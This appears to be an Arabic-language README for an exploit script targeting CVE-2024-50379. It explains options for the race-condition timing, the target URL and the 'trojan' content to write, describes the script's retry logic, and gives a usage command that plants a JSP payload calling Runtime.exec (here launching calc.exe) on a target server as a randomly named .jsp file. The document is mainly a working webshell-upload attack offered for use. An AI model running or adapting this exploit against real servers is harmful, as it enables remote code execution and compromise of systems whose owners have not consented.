CVE-2024-50379-exp

• -t زمن سباق الحالة
• -u النطاق
• -f كتابة حصان الطروادة

أظهر الاختبار أن محاولة سباق الحالة الأولى لديها احتمال كبير للفشل في الكتابة، وتتطلب إعادة تنفيذ سباق الحالة مرة أخرى لكتابة حصان الطروادة. لذلك، يقوم السكربت أولًا بسباق ثابت لمدة 6 ثوانٍ للتحقق من نجاح الكتابة، وإذا لم تنجح، يقوم بسباق إضافي بالمدة التي يحددها المستخدم أو 10 ثوانٍ افتراضيًا. حصان الطروادة المُنشأ يكون بصيغة md5.jsp عشوائية.

python .\CVE-2024-50379.py -u http://192.168.31.33:8888/ -f '123456<%Runtime,getRuntime().exec("calc.exe");%>' -t 10

image